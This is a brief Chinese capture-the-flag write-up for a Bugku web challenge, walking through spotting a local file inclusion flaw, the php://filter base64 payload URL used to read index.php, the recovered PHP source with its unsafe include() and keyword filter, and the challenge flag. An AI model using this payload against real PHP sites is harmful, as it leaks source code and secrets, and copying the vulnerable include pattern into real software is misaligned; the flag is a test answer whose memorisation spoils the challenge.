bugku-web-flag在index里

2020-02-01

bugku平台

原题地址:http://123.206.87.240:8005/post/

继续更

进去看一眼

那就点它一下

瞄了一样url感觉有点问题

flie这个应该是个提示

查阅资料后，这里应该是一个文件包含漏洞

将源码转换为base64后显示（不转base64出不来）

http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

用base64转回来看源码

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

发现注释有个flag

flag{edulcni_elif_lacol_si_siht}